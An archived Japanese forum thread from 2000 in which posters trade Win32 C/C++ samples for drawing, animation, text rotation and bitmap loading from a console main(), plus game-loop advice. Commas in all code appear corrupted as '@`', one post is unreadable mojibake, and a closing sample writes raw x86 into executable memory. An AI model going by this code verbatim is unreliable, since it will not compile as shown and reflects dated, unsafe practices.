1 :
GGY:
Windowsプログラムでゲームを作ろうとしています。
普通のCプログラムみたいにmainから動いていくような感じで作りたいのですが
何か方法ありませんか?
2 :
名無しさん:2000/05/03(水) 17:09
>普通のCプログラムみたいにmainから動いていくような感じで
>作りたいのですが何か方法ありませんか?
NTで導入されたFiberというシステムが有る。
schemeでいうcall/ccに該当するもの。
これを使えば事例として面白いネタになるかも。
3 :
名無しさん:2000/05/03(水) 22:03
>2
そのFiberってのを使うと、普通のCプログラムみたいにmainから
うごくプログラムを作れるの?
4 :
>1:2000/05/03(水) 22:39
私もMSJの記事読んだだけだけど、
コルーチンが組めるみたいだから従来の
スタイルと違う実装ができるヒントだと
思う。
6 :
名無しさん:2000/05/03(水) 23:17
mainから初めても、普通にAPIを使えば、
コンソールウインドウ以外も作れるけど
7 :
GGY:2000/05/04(木) 00:11
ええっとスレッドを作ってそこに書くとか そういう感じの方法はないか?
って意味で書きこんだんですが・・・・
8 :
名無しさん:2000/05/04(木) 01:26
↑いみわからんのですが、、
9 :
マジレスくん:2000/05/04(木) 04:01
イベントドリブンなプログラミングスタイルはよくわからない、
ということじゃないですか?
まずとっかかりとして、WinMain の中だけで作り上げちゃうようなことをしたいのでは。
10 :
ところでさ、:2000/05/04(木) 05:08
何のゲームなの?
11 :
そうそう:2000/05/04(木) 06:06
ゲームっつってもいろいろあるよねぇ
12 :
名無しさん:2000/05/04(木) 13:36
ウインドウメッセージをコールバックプロシージャーに流さなければ、
WinMainだけで処理できるけど
一般的な書籍には、
メッセージの受け取り−>ディスパッチ−>コールバックプロシージャー
しか書かれてないけど
ディスパッチしなければだらだら書けます
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <conio.h>
LRESULT CALLBACK _export WndProc(HWND hwnd@`UINT uMsg@`WPARAM wParam@`LPARAM lParam)
{ switch(uMsg){
case WM_PAINT: { PAINTSTRUCT ps;HDC hdc= BeginPaint(hwnd@`&ps);
TextOut(hdc@`0@`0@`"再描画しました"@`14);
EndPaint(hwnd@`&ps);
} return 0;
case WM_DESTROY: PostQuitMessage(0);
return 0;
}
return DefWindowProc(hwnd@` uMsg@` wParam@` lParam);
}
struct Win{
HWND hwnd;
HDC hdc;
int kcode;
Win(int xs@`int ys@`int xsz@`int ysz)
{
kcode=-1;
static char WinClassName[]="samples";
WNDCLASS wndclass= { 0/*CS_SAVEBITS*/ @`//UINT style;
WndProc@` //WNDPROC lpfnWndProc;
0@`0@` //int cbClsExtra@`cbWndExtra;
0@` //HANDLE hInstance;
LoadIcon(NULL@`IDI_APPLICATION)@`//HICON hIcon;
LoadCursor(NULL@`IDC_ARROW)@` //HCURSOR hCursor;
GetStockObject(WHITE_BRUSH)@` //HBRUSH hbrBackground;
NULL@` //LPCTSTR lpszMenuName;
WinClassName@` //LPCTSTR lpszClassName;
};
RegisterClass( &wndclass );
HANDLE hinst = 0;
hwnd=CreateWindow(WinClassName@`"testWindow"@`WS_POPUPWINDOW@`xs@`ys@`xsz@`ysz
@` NULL @` NULL @` hinst @` NULL);
ShowWindow( hwnd @` SW_SHOWNORMAL );
UpdateWindow(hwnd);
hdc =GetDC( hwnd );
}
~Win()
{ ReleaseDC( hwnd@` hdc );
DestroyWindow( hwnd );
}
int kbhit()
{ MSG msg;
if(PeekMessage(&msg @` (HWND)NULL @` 0@` 0@`PM_REMOVE) )
{ TranslateMessage(&msg);
if(msg.message==WM_CHAR)
{ kcode=0xff &((TCHAR)msg.wParam);
}else{ // printf("\n<MSG=%d %x>"@`msg. message@`msg.wParam);
DispatchMessage(&msg);
}
}
if(kcode<0) return ::kbhit() ;
else return 1;
}
int getKB()
{
while(!kbhit());
if(kcode>=0){int k=kcode;kcode=-1;return k;};
return getch();
}
};
int main()
{
int i;
Win w(10@`10@`100@`100);
MoveToEx( w.hdc @`100 @` 0@`NULL);
LineTo ( w.hdc @` 0 @` 100);
while(1){
switch( w.getKB()) {
case 'L':LineTo ( w.hdc @` rand()/(RAND_MAX/100) @` rand()/(RAND_MAX/100));break;
case 'C':{RECT r={0@`0@`100@`100};FillRect(w.hdc@`&r@`GetStockObject(WHITE_BRUSH));}break;
case 'S':for(i=0;i<99;i++){ScrollDC(w.hdc@`0@`1@`NULL@`NULL@`0@`0);Sleep(30);}break;
default: return 0;
}
}
}
14 :
名無しさん:2000/05/06(土) 04:21
EL使え。バグあるみたいだけど。
ちょー簡単ではある。
15 :
名無しさん:2000/05/06(土) 06:17
yanegamesdkでどうすか?
13のコードは、BCC55でコンパイルすると、何個所か型キャストを要求された。
たとえば(HBRUSH)GetStockObject(WHITE_BRUSH) とか
ま、APIベースでWindowsを勉強するには良い方法かも
17 :
名無しさん@1周年:2000/05/17(水) 14:54
18 :
名無しさん@1周年:2000/05/18(木) 21:56
エラー E2040 24: 宣言が正しく終了していない
エラー E2200 24: 関数は構造体あるいは共用体の一部にはできない
エラー E2139 24: 宣言に ; がない
エラー E2040 66: 宣言が正しく終了していない
エラー E2190 66: 不要な }
エラー E2190 66: 不要な }
エラー E2451 70: 未定義のシンボル Win(関数 main )
エラー E2379 70: ステートメントにセミコロン(;)がない(関数 main )
エラー E2451 71: 未定義のシンボル w(関数 main )
*** 9 errors in Compile ***
19 :
>18:2000/05/18(木) 22:28
たぶん13のコードをcでコンパイルさせたんだろ?
20 :
名無しさん@1周年:2000/05/18(木) 23:14
cにしていました。cppに変更結果
警告 W8027 62: whileを含む関数はインライン展開できない
警告 W8027 26: <静的変数>を含む関数はインライン展開できない(関数 Win::Win(int@`int@`int@`int) )
エラー E2034 33: 'void *' 型は 'HBRUSH__ *' 型に変換できない(関数 Win::Win(int@`int@`int@`int) )
エラー E2034 39: 'void *' 型は 'HINSTANCE__ *' 型に変換できない(関数 Win::Win(int@`int@`int@`int) )
エラー E2342 39: パラメータ 'hInstance' は HINSTANCE__ * 型として定義されているので void * は渡せない(関数 Win::Win(int@`int@`int@`int) )
エラー E2034 76: 'void *' 型は 'HBRUSH__ *' 型に変換できない(関数 main() )
エラー E2342 76: パラメータ 'hbr' は HBRUSH__ * 型として定義されているので void * は渡せない(関数 main() )
*** 5 errors in Compile ***
21 :
名無しさん@1周年:2000/05/18(木) 23:35
始めて日本語のエラーメッセージ見たけど… なんか英語の方が分かりやすいね
22 :
名無しさん@1周年:2000/05/19(金) 01:29
EL、全部ヘッダに書いてあってキモチ悪いね。
GCCからBCCに乗り換えようと思ったけど、
日本語のメッセージが嫌でGCCつかいつづけてる(笑)
23 :
名無しさん@1周年:2000/05/19(金) 03:49
こんにちは、プログラム始めて2年くらいのタコです。
Windowsプログラムで簡単なゲームが作りたいのであれば
SDKな(WinMainな?)本を買ってきて、
GDIのところと、タイマー処理のところがある程度理解できれば
適当なゲームくらいならできるのではないでしょうか?
スレッドはなんだか面倒そうなのであえて使いません(タコなので)。
私はアルカノイドなら作れました。
次はテトリスに挑戦しようかと画策しているところです。
24 :
>20:2000/05/19(金) 07:58
BCC55でコンパイルしたんだね。
警告は無視していい。
エラーについては、16が書いてるようにキャストを付けなさい。キャストを付ければ動くから。
勉強だから、それは自分でやってみなさい。(というかエラーメッセージが全て教えてくれている)
1日やって駄目なら聞きなさい
25 :
>20:2000/05/19(金) 08:27
エラーは5つだけど修正するのは3個所、
うち二つは16さんの書いてる事がヒントになる
39行目のエラーは、そこで型キャストしてもいいけど、
hinstの定義を HINSTANCE__ じゃなくて HINSTANCE にした方がいい
26 :
名無しさん@1周年:2000/05/19(金) 09:38
だめです。昨日からコンパイル<―>編集の連続で疲れました。
25ありがとうございますです。エラーが1つ減りました。
警告 W8027 62: whileを含む関数はインライン展開できない
警告 W8027 26: <静的変数>を含む関数はインライン展開できない(関数 Win::Win(int@`int@`int@`int) )
エラー E2034 76: 'void *' 型は 'HBRUSH__ *' 型に変換できない(関数 main() )
エラー E2342 76: パラメータ 'hbr' は HBRUSH__ * 型として定義されているので void * は渡せない(関数 main() )
*** 2 errors in Compile ***
27 :
>26:2000/05/19(金) 09:56
もうひとつも 最初と同じ。 (HBRUSH)GetStockObject(WHITE_BRUSH)) だ。
28 :
上手くいったら追加してみよう:2000/05/19(金) 10:27
case 'T': //3角形を表示するサンプル switch文に追加して下さい
{
for(double d=0;d<2*M_PI;d+=0.03)
{ POINT pt[3]={{0@`0}@`{30@`30}@`{-30@`30}}@`wk[3];
double s=sin(d)@`c=cos(d);
for(int i=0;i<3;i++){wk[i].x=pt[i].x*c+pt[i].y*s+50;wk[i].y=pt[i].y*c-pt[i].x*s+50;}
Polygon(w.hdc@` wk@` 3);//この行で三角形が表示出来る
Sleep(30);
}
}break;
29 :
26:2000/05/19(金) 10:32
動いた動きました。
30 :
26:2000/05/19(金) 10:38
>28
'T'を押すと三角が出てきて左回りに回転しました。
31 :
つぎは>30:2000/05/19(金) 11:13
円を描いて斜めに動かしてみよう。
32 :
>31:2000/05/19(金) 11:44
case 'E': //円を描くサンプル mainのswitch文に追加して下さい
{int x=30@`dx=1;int y=30@`dy=1;
while(1)
{ Ellipse(w.hdc@`x@`y@`x+20@`y+20);
x+=dx; if(x>80)dx=-1; if(x<0)dx=1;
y+=dy; if(y>80)dy=-1; if(y<0)dy=1;
if(w.kbhit()){if(w.getKB()==0x1b)break; //キーボードで・・
if(rand()>(RAND_MAX/2))dy=-dy;else dx=-dx;};
Sleep(30);
}
}break;
33 :
添削>32:2000/05/19(金) 13:16
こうすると、少しだけ楽しい
case 'E': //円を描くサンプル mainのswitch文に追加して下さい
{double x=30@`dx=1;double y=30@`dy=1;
while(1)
{ Ellipse(w.hdc@`x@`y@`x+20@`y+20);
x+=dx; if(x>80)dx=-fabs(dx); if(x<0)dx=fabs(dx);
y+=dy; if(y>80)dy=-fabs(dy); if(y<0)dy=fabs(dy)*.9;
dy+=0.01;
if(w.kbhit()){if(w.getKB()==0x1b)break; //キーボードで・・
if(rand()>(RAND_MAX/2))dy=dy*-1.2;else dx=-dx;};
Sleep(30);
}
}break;
34 :
名無しさん@1周年:2000/05/19(金) 13:19
$B%0%i%U%#%C%/%9$O$$$$$H$7$F!"%2!<%`$N@)8f$N%"%k%4%j%:%`$O2?$r3X$Y$P$$$$$G$7$g!)(B
$B%N!<%I$H$+;H$&$d$D!)%S%j%d!<%I$H$+9b9;$/$i$$$NJ*M}$NCN<1$bF~$j$=$&$@$1$I!#(B
35 :
名無しさん@1周年:2000/05/19(金) 13:40
wk[i].x=pt[i].x*c+pt[i].y*s+50;wk[i].y=pt[i].y*c-pt[i].x*s+50;
これすごいです。
36 :
>35:2000/05/19(金) 14:42
どうすごいの?
37 :
名無しさん@1周年:2000/05/19(金) 15:05
これでX@`Yが設定できるところじゃないのかな?
38 :
>14:2000/05/19(金) 15:39
39 :
>34:2000/05/19(金) 21:20
>グラフィックスはいいとして、ゲームの制御のアルゴリズムは何を学べばいいでしょ?
>ノードとか使うやつ?ビリヤードとか高校くらいの物理の知識も入りそうだけど。
とにかく図書館に通って 乱読。
100冊くらい読んで方向性を見つけましょう
40 :
名無しさん@1周年:2000/05/19(金) 21:35
つまらん>38
しかも、よりによって下位機種のEL-57なんか紹介するあたりが、
検索エンジンでちょっと探してみましたって感じでイタい。
41 :
名無しさん@1周年:2000/05/19(金) 21:49
>グラフィックスはいいとして、ゲームの制御のアルゴリズムは何を学べばいいでしょ?
>ノードとか使うやつ?ビリヤードとか高校くらいの物理の知識も入りそうだけど。
アーケードや家庭用ゲーム機のゲームをじっくり観察すれば、
何か見えてくるんじゃないでしょうか。基本は「擬似マルチタスク」ね。
なおゲーム方面では、参考になるような書籍はほぼ皆無なので注意。
なにしろプロは守秘義務で何も書けないし、
学問としての研究対象にもなっていない分野だから。
3Dとか剛体力学とかを導入するなら、やや話は変わってくるけど。
42 :
隼次郎:2000/05/19(金) 21:53
みんな、何で34読めるの????
43 :
>42:2000/05/19(金) 22:09
まず ソース表示して、 &XX; を何かのツールで変換してから JISとして読む
44 :
名無しさん:2000/05/19(金) 22:37
>43
単に文字コードを変換するだけで良いよ
45 :
文字を画面の真中で回転させたい:2000/05/19(金) 22:45
のだが・・・・
case 'K': //文字を描くサンプル mainのswitch文に追加して下さい
{
RECT rc; GetClientRect(w.hwnd@` &rc);
LOGFONT lf;
strcpy( lf.lfFaceName@` "MS明朝");
lf.lfWeight = FW_NORMAL;
lf.lfHeight = 30;
lf.lfCharSet= SHIFTJIS_CHARSET;
for (int angle = 0; angle < 3600; angle += 10) {
lf.lfEscapement = angle;
HFONT hfnt = CreateFontIndirect(&lf);
HFONT hfntPrev = SelectObject(w.hdc@` hfnt);
TextOut(w.hdc@` rc.right / 2@` rc.bottom / 2@`"文字"@` 4);
SelectObject(w.hdc@` hfntPrev);
DeleteObject(hfnt);
Sleep(30);
}
}break;
46 :
>45:2000/05/19(金) 23:21
ニフテイかどこかで見かけたんだけどなあ・・Delphiだったか。
コンソールアプリなんだから、GetCharWidth32とかの結果を表示させてみたら?
回転につれて変わるようならいいし、でなければ、長方形領域が回転してると考えて
計算させるしかない
47 :
名無しさん@1周年:2000/05/20(土) 00:43
このスレッド、コードのある部分を丁寧においかけると、API初心者向けのいい勉強になるね。
コンソールアプリだから printfデバックが出来るのがミソだ。
WndProc側にコードを追加してゆけば GUIアプリの勉強になるし
・・・て事で、WndProc側に追加するような課題、誰か出して
とりあえず、マルチスレッド化してみるとか
49 :
名無しさん@1周年:2000/05/20(土) 02:08
ゲームプログラムのしくみ(長い)。
///////////////////////////////////////////////////////////
// 動くオブジェクトを1つ含む、
// 簡単なゲームプログラム流メインループ
for (;;) {
x += vx;
y += vy;
DrawSprite(x@` y@` ...);
/* ディスプレイの垂直帰線との同期を取る */
VSync();
...
}
///////////////////////////////////////////////////////////
// 配列を使ってオブジェクトを10個に増やしてみる。
for (;;) {
for (int i = 0; i < 10; i++) {
x[i] += vx[i];
y[i] += vy[i];
DrawSprite(x[i]@` y[i]@` ...);
}
VSync();
...
}
///////////////////////////////////////////////////////////
// 構造体を使ってみた。
struct Ball {
int x;
int y;
int vx;
int vy;
};
struct Ball someBalls[BALL_MAX];
for (;;) {
for (int i = 0; i < BALL_MAX; i++) {
struct Ball * const p = &someBalls[i];
p->x += p->vx;
p->y += p->vy;
DrawSprite(p->x@` p->y@` ...);
}
/* ところでこれは、BALL_MAX個のタスクが並列に動いていると
* 考えてもいいのではないか?
*/
VSync();
...
}
///////////////////////////////////////////////////////////
// C++で簡易タスクシステムっぽくしてみる。
class Ball : public Task {
private:
int x;
int y;
int vx;
int vy;
public:
Ball(void) {
...
}
void Step(void) {
x += vx;
y += vy;
DrawSprite(x@` y@` ...);
}
}
TaskGroup taskGroup = new TaskGroup();
for (int i = 0; i < 10; i++)
taskGroup.Append(new Ball());
...
for (;;) {
taskGroup.Step();
VSync();
...
}
以上、たぶん職業ゲームプログラマの誰もが通った道ではあるまいかと。人によってはもっと複雑な、簡易OSと言っても差し支えないくらいのゲーム用タスクシステムを構築しています。また、キャラクタを動かす以外にも、スコア表示とか、背景のスクロールとか、RPGのウィンドウとか、メッセージやボーナス表示の演出とかも全部「タスク」扱いしてしまったりします。
ステップ実行の擬似マルチタスクというと、ビジネス系プログラマはなんじゃそらとか思ってしまうかも知れませんけど、ゲームの場合はこれがベストらしく、ゲーセンやゲーム機のソフトは9割方こんな感じです。メインループを毎秒60回とかで回せば、たくさんのものが一定速度でごちゃごちゃと動いてくれるし、全部のタスクの処理の所要時間が1/60秒をオーバーしたら、いわゆる「処理落ち」が起こると。こういうのが本にまったく載らないんスよねぇ。
ではまた来週。
50 :
ビジネス系のプログラマ:2000/05/20(土) 02:27
>49
そうか、ゲームってこういう作り方するんすですね、為になります。
>ステップ実行の擬似マルチタスクというと、ビジネス系プログラマはなんじゃそらとか
確かに下手にスレッド作って同期に苦労するより、最初から自分で各オブジェクトの
ステップを制御する方が効率的ですね。
51 :
。>50:2000/05/20(土) 02:58
うーん、擬似リアルタイム処理じゃ割と普通にやると思うけど。
まともなOSが使えればほかの方法を取るけどね。
DOSベースの開発とか組み込みならこんなふうに作るのも割と多いけど。
52 :
名無しさん@1周年:2000/05/20(土) 03:27
WindowsやXもメッセージループをまわしているから、
for (int i = 0; i < 10; i++) {
x[i] += vx[i];
y[i] += vy[i];
DrawSprite(x[i]@` y[i]@` ...);
}
の各イタレーションごとにメッセージを送ってると思えば、一緒だよね。
オブジェクト指向っぽく、
for (Iterator it = obj_list.begin(); Iterator it!=obj_list.end();it++) {
(*it).update();
(*it).draw();
}
みたいなことするといい感じ☆
53 :
50:2000/05/20(土) 03:49
いや、Windowsでの開発ばっかりで、自前でタスク制御するような
事ってしたことないもんで。
54 :
>49:2000/05/20(土) 04:04
シミュレーション処理なんかでも、そういう風にすることがあるよ。
各オブジェクトの処理時間を全体のループの中で細切れに割り振る
みたいな。全部非同期に動かすと、排他がめんどうになるし。
55 :
これでいいと思うんだが:2000/05/20(土) 09:48
何故か90度の文字が変なんだよなあ。 判らん・・・・
void RotText(Win &w@`int angle@`int height@`int x@`int y @`char *text)
{
angle %=3600;
double s=((double)angle)/3600.0*M_PI*2.0;
LOGFONT lf={0@`};
strcpy( lf.lfFaceName@` "MS明朝");
lf.lfCharSet= SHIFTJIS_CHARSET;
lf.lfHeight = height;
lf.lfEscapement = angle;
HFONT hfnt = CreateFontIndirect(&lf);
HFONT hfntPrev = SelectObject(w.hdc@` hfnt);
DWORD TS= GetTabbedTextExtent(w.hdc@`text@`strlen(text)@`0@`NULL);
int ys=HIWORD(TS);
int xs=LOWORD(TS);
double cx= xs*cos(s)+ys*sin(s);
double cy=-xs*sin(s)+ys*cos(s);
TextOut(w.hdc@` x-cx/2@` y-cy/2 @`text@` strlen(text));
SelectObject(w.hdc@` hfntPrev);
DeleteObject(hfnt);
}
/////////////// main に 追加する ///////
case 'K': //文字を描くサンプル mainのswitch文に追加して下さい
{
RECT rc; GetClientRect(w.hwnd@` &rc);
for(i=0;i<=3600*2;i+=10)
RotText(w@`i@`1+i*rc.right/10000@` (rc.right-rc.left)/2@`(rc.bottom-rc.top)/2@`"壷");
Sleep(30);
}break;
56 :
名無しさん@1周年:2000/05/20(土) 10:56
wchar_t aiueo[]={'あ'@`'い'@`'う'@`'え'@`'お'@`'\0'};
cout << aiueo[0] << endl;
'あ'が表示されません。なんで?
57 :
名無しさん:2000/05/20(土) 12:43
#include <iostream>
int main(void){
char const *aiueo[]={"あ"@`"い"@`"う"@`"え"@`"お"};
cout << aiueo[0] << endl;
}
これなら動くけど。
58 :
>56:2000/05/20(土) 14:13
ostream::operator<<(unsigned short)の実装を見てみましょう。
59 :
>49:2000/05/20(土) 14:15
さらにタスク間通信組み込んだりとか、
マジでOSになっちまいますな、本格的なゲームアプリは。
他にもタスクの階層管理とか、スクリプト言語の導入とか。
Linuxのソースとか、あとShockwaveなんかも一度見ておくと
一歩上を目指すゲーム作りの参考になります。
60 :
> 59:2000/05/20(土) 15:03
RTOSのほうが小さいし、勉強になると思うよ。
uITRONかRT-Linuxをしらべてみるといい。
61 :
55:2000/05/22(月) 09:38
176度付近から180度迄が不定期に90度表示になってしまうようです
Win95 aとbで確認しました。これはバグなのかな?
未だにバグとして残ってるって事は、プログラマってこういうバグをあんまり報告しないものなの?
62 :
おれ:2000/05/23(火) 00:44
# 61 の言うバグ(?)についてはまったく知らないケド
>未だにバグとして残ってるって事は、プログラマってこういうバグをあんまり報告しないものなの?
報告したら直してくれるの?
レポート書いて提出してくれって言われて嫌になってほっといたことがあるけど。
そのバグの調査ためにスケジュールがおしてるのに、そんな余計なコトしてらんないって...
報告した次の日に修正版がリリースされるわけでもないし。
63 :
>61:2000/05/23(火) 09:54
まず報告しないもののようだね
64 :
プロのプログラマって:2000/05/24(水) 11:23
そういう面、案外保守的というか、だらしないよね。
特許になったアルゴリズムなんか見ては、こんなのXX年前から俺使ってたよとか言ったり(だったら特許出せよ)
MSいつになったらこのバグ直すんだと言っても、皆がバグ伝えなきゃ自分じゃ気付かんのじゃないの?
65 :
名無しさん@1周年:2000/05/24(水) 11:35
#include <iostream>
int main(void){
char const *aiueo[]={"あ"@`"い"@`"う"@`"え"@`"お"};
cout << aiueo[0] << endl;
}
動きましたです。
66 :
>64:2000/05/24(水) 12:20
気づいていても、仕事がたまってるから一定件数まで要望がたまらないと
直さないんじゃない?
67 :
>61:2000/05/24(水) 18:29
それ、Win98でも確認したよ。 NT/2000はどうなのかな
68 :
>1:2000/05/26(金) 01:49
数学なんて中学校レベルまで、という超文系、詳しく言うと外国語大学卒です。
辞書があれば何とかなる、調べて調べて何とかする!というタイプで、ただし
「A=B、そういうもの!」という記憶型の勉強を続けてきた弊害というか・・・
何故?こういうパターンもありじゃない??というのを発見するのが遅くって・・・。
それでも、まぁ何とかPGやってますよ。
うちは零細ソフトハウスだから、ダメだからって飛ばすとこ無いし。
私の場合、内定が決まった後、9月からCの本を読まされて(独学)、それと平行して
課題を与えられ、12月には最後の課題終了。と同時にアルバイトで呼ばれて、
いきなりCでプログラムを組まされました。正式に入社して、1週間!の研修期間で
C、C++、VB、ACCESS詰め込まれました。今2年目ですが、ハッキリ言って
C++は未だサッパリ駄目です・・・。VCでショボイ画面作れる程度。
他の言語も、「任せろ」と言う自信無いですね。1さん、ちょっとは安心しました?
でも、1つ1つ「そーなんだぁ」と思いながら、作っていくの楽しいでしょ?
現段階では1さんも私も、仕様書が読めて、MSDNが検索出来て、書いてある事が
理解出来て、それを自分のソースに応用出来れば、今任される程度の仕事ならこなせる
んではないかと。
それと、もう一つ重要なのは上司や先輩に聞くことかな。嫌味な人でも「出来る」人なら
どんどん聞く事で、こいつ頑張ってるな、って評価変わると思いますよ。
一応これでも入社前の課題は、同期の中で一番早く終了したんですが、実際は分からない
分からないと質問投げて、結果的に早く終わったというだけのもの。
要するに、問題解決の方法が分かってればOKなのかな?と自分では思ってます。
あとは、嫌味を言いやすいキャラにならないこと。うちの社に、スキルは高いのに、
誰からも怒鳴られたり、辛く当たられたりしてる人がいます。
その理由は「だって、○○(名前)だから!」。
文系とか数学が云々というのは、私はたいてい事務処理系AP作ってるので、
困ったことは無いですよ。だから、そっちの分野では問題にはならないと思う。
制御系は経験ないのでなんとも言えないけど、座標が...なんていう画像処理でも
高校の参考書みて、そのまんま変数とかに置き換えて、なんとかなりましたけどねぇ。
と、振り返るとすんごい長レス。すみません。
69 :
68:2000/05/26(金) 01:50
すいません。スレ間違いました。
70 :
愚者の鉄屑:2000/05/26(金) 12:01
すみません。いまWindowsプログラムの勉強中で、こちらのスレッドに書かれ
ておられましたソースコードを見て勉強しようと思ったのですが、13さん
書かれましたコードをVisualC++でコンパイルさせるとリンカエラーがでてしまいま
す。(変数のキャストは解決させました)
----------------
LIBCD.lib(wincrt0.obj) : error LNK2001: 外部シンボル "_WinMain@16" は未解決です
Debug/sdk01_2ch.exe : fatal error LNK1120: 外部参照 1 が未解決です。
link.exe の実行エラー
----------------
MSDNライブラリを見て、外部参照に関するエラーのヘルプを見まして、export文
に問題があるのかな、と思ってexport文のヘルプをみているのですが
============
1/ソース コードでキーワード __declspec(dllexport) を使う。
2/.DEF ファイル内で EXPORTS 文を使う。
3/LINK コマンドで /EXPORT オプションで指定する。
============
の意味が分かりません(xx) プロジェクトの設定を見ているのですが
リンクの設定のところを修正すればいいのでしょうか? また、その方法
を教えてくださいませんか?
あと、export文を使う意味というのは、どういうものなのでしょう?
質問ばかりで申し訳ありません
71 :
>70:2000/05/26(金) 12:03
タイトルを見よ。 main から書くという事は コンソールアプリにせよという事
72 :
>70:2000/05/26(金) 12:18
>プロジェクトの設定を見ているのですが
そこに コンソールアプリとかいうチェック項目はありませんか?
このソースはmainがあります。という事はコンソールアプリという事です。
WinMainはコンソールを持たないアプリを作る時のスタートアップ関数名です
>あと、export文を使う意味というのは、どういうものなのでしょう?
とりあえDLLを作る時に使うと覚えましょう
(普通のアプリで使うのはだいぶ勉強してからです)
73 :
70:2000/05/26(金) 14:32
>71@`72さん
申し訳ありませんでした。コンソールアプリで作るというログを
見落としてました。コンソールアプリでウィンドウを作れるとは知
らなかったもので、Win32Applicationでプロジェクトを作っていま
した。コンソールアプリで作成し直したらきちんと動作しました。
ありがとうございました。
>EXPORT
わかりました。そのうち出会うことになるのですね(^-^;
74 :
editコントロール:2000/06/02(金) 14:18
case 'I':
{
HWND hwndEdit=CreateWindow("edit"@`NULL@`WS_CHILD|WS_VISIBLE@`0@`0@`40@`20
@`w.hwnd@`(HMENU)5@`0@`0);
int kcode=0;
SetFocus(hwndEdit);
do { MSG msg;
if(PeekMessage(&msg @` (HWND)NULL @` 0@` 0@`PM_REMOVE) )
{ TranslateMessage(&msg);
if(msg.message==WM_CHAR)
{ kcode=0xff &((TCHAR)msg.wParam);
printf("%02x "@`kcode);
}
DispatchMessage(&msg);
}
} while(kcode!=13);
char buf[512];
int len=GetWindowTextLength(hwndEdit);
GetWindowText(hwndEdit@`buf@` sizeof buf -1);
DestroyWindow( hwndEdit );
TextOut(w.hdc@`5@` 50 @`buf@`len);
}break;
キャレットが点滅してその間は編集可能 改行を押せば編集文字を引っ張ってきてるだけ
ただ、ここまで来たら そろそろ WinProcなやり方にシフトした方がいいだろう
75 :
ビットマップの表示:2000/06/03(土) 21:12
case 'b':
{
HWND hwnd=w.hwnd;
HDC hdc=w.hdc ;
char strFileName[_MAX_PATH+2]="";
char strTitle [_MAX_PATH+_MAX_EXT+2];
OPENFILENAME ofn={ 76//sizeof (OPENFILENAME)
@`hwnd @` NULL @` "BMP\x00*.BMP\x00" @`NULL@`0@`0
@`strFileName @`_MAX_PATH
@`strTitle @`_MAX_FNAME+_MAX_EXT @`NULL
@`"ビットマップファイルの読込"@`OFN_FILEMUSTEXIST};
ofn.lpstrDefExt="bmp";
if( GetOpenFileName(&ofn) )
{
printf("ReadFile=%s\n"@`strFileName);
w.kbhit();// 画面描画を先にさせたいので
FILE *fp=fopen(strFileName@`"rb");
BITMAPFILEHEADER bmfh;
fread(&bmfh@`sizeof bmfh@`1@`fp);
BITMAPINFOHEADER *dib=(BITMAPINFOHEADER *)new BYTE[bmfh.bfSize-(sizeof bmfh)];
fread(dib@` bmfh.bfSize-(sizeof bmfh) @`1@`fp);
fclose(fp);
SetDIBitsToDevice( hdc@`5@`32 //転送先始点
@`dib->biWidth @`dib->biHeight //サイズ
@`0@`0 //転送元始点
@`0 @` dib->biHeight //行
@`(BYTE *)dib+dib->biSize+ dib->biClrUsed*sizeof(RGBQUAD)
@`(BITMAPINFO *)dib
@`DIB_RGB_COLORS );
delete dib ;
}
}break;
長いが、ファイルから読んで表示するにはこれくらい必要
76 :
どーでもいいけど:2000/06/03(土) 23:26
ゲームとは関係なくなってきたね(笑)
77 :
。>76:2000/06/03(土) 23:29
まぁ、それも良し。つーか、このスレッド読んでない。
78 :
74@`75>76:2000/06/03(土) 23:31
そうか? 入力や、BMP表示は使いそうだけどなあ・・もう止めるよ
79 :
13の書換:2000/06/04(日) 03:11
Win クラスらしきものを作ってるのに、肝心のWinProcが継承出来ないから
WinProc側の課題が出ないのだと思う。 という事で、WinProcをVirtualにしてみた
struct Win{
HWND hwnd;
HDC hdc;
int kcode;
static Win * callbackSelf;
WNDPROC cb; //サンクポインタ
virtual LRESULT WndProc(HWND hw@`UINT uMsg@`WPARAM wParam@`LPARAM lParam)
{ switch(uMsg){
case WM_PAINT: { PAINTSTRUCT ps;HDC hdc= BeginPaint(hw@`&ps);
TextOut(hdc@`0@`0@`"再描画しました"@`14);
EndPaint(hw@`&ps);
} return 0;
case WM_DESTROY: PostQuitMessage(0);
return 0;
}
return DefWindowProc(hw@` uMsg@` wParam@` lParam);
}
static LRESULT CALLBACK WndProcGate(HWND hwnd@`UINT uMsg@`WPARAM wParam@`LPARAM lParam)
{ return callbackSelf->WndProc(hwnd@`uMsg@`wParam@`lParam); }
void makeClass(char *WinClassName)
{ cb=(WNDPROC)VirtualAlloc(NULL@`10+5 @` MEM_COMMIT@` PAGE_EXECUTE_READWRITE);
char *b=(char*)cb; //コールバックゲートをこしらえる
*b++= 0xC7; *b++= 0x05; //MOV [adr]@`xxxx
*((int *)b)++=(int)(&callbackSelf); //メモリアドレス
*((int *)b)++=(int)this; //オブジェクトアドレス
*b++= 0xE9; //jump long xxxx
*((int *)b)= ((int)WndProcGate)-(4+(int)b);//ジャンプ先
WNDCLASS wndclass= { 0/*CS_SAVEBITS*/ @`//UINT style;
cb@` //WNDPROC lpfnWndProc;
0@`0@` //int cbClsExtra@`cbWndExtra;
0@` //HANDLE hInstance;
LoadIcon(NULL@`IDI_APPLICATION)@`//HICON hIcon;
LoadCursor(NULL@`IDC_ARROW)@` //HCURSOR hCursor;
(HBRUSH) GetStockObject(WHITE_BRUSH)@` //HBRUSH hbrBackground;
NULL@` //LPCTSTR lpszMenuName;
WinClassName@` }; //LPCTSTR lpszClassName;
RegisterClass( &wndclass );
}
void beginWin(char *WinClassName@`int xs@`int ys@`int xsz@`int ysz)
{
kcode=-1;
HINSTANCE hinst = 0;
hwnd=CreateWindow(WinClassName@`"testWindow"@`WS_POPUPWINDOW@`xs@`ys@`xsz@`ysz
@` NULL @` NULL @` hinst @` NULL);
ShowWindow( hwnd @` SW_SHOWNORMAL );
UpdateWindow(hwnd);
hdc =GetDC( hwnd );
}
void init(){hdc=0;hwnd=0;cb=0;}
Win(void){init();};
Win(int xs@`int ys@`int xsz@`int ysz)
{ init();makeClass("sample1");
beginWin( "sample1"@`xs@`ys@`xsz@`ysz); }
~Win()
{if(hdc) ReleaseDC( hwnd@` hdc );
if(hwnd) DestroyWindow( hwnd );
if(cb) VirtualFree(cb@` 0@`MEM_RELEASE);
}
int kbhit()
{ MSG msg;
if(PeekMessage(&msg @` (HWND)NULL @` 0@` 0@`PM_REMOVE) )
{ TranslateMessage(&msg);
if(msg.message==WM_CHAR)
